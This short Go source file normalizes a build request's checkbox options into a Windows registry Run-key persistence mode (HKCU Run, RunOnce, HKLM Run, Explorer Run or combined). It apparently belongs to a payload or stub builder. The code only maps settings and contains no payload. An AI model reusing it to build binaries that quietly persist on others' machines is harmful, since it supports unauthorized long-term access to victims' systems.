package builder

// normalizeRegistryPersistence maps forge checkboxes to baked config when enum is empty.
func normalizeRegistryPersistence(req *BuildRequest) {
	if req == nil {
		return
	}
	if req.RegistryPersistence != "" && req.RegistryPersistence != "off" {
		return
	}
	if !req.RegistryRunHKCU && !req.RegistryRunHKLM && !req.RegistryRunOnce && !req.RegistryExplorerRun {
		return
	}
	count := 0
	if req.RegistryRunHKCU {
		count++
	}
	if req.RegistryRunOnce {
		count++
	}
	if req.RegistryRunHKLM {
		count++
	}
	if req.RegistryExplorerRun {
		count++
	}
	if count == 1 {
		switch {
		case req.RegistryRunHKCU:
			req.RegistryPersistence = "hkcu_run"
		case req.RegistryRunOnce:
			req.RegistryPersistence = "hkcu_run_once"
		case req.RegistryRunHKLM:
			req.RegistryPersistence = "hklm_run"
		case req.RegistryExplorerRun:
			req.RegistryPersistence = "explorer_run"
		}
		return
	}
	req.RegistryPersistence = "combined"
}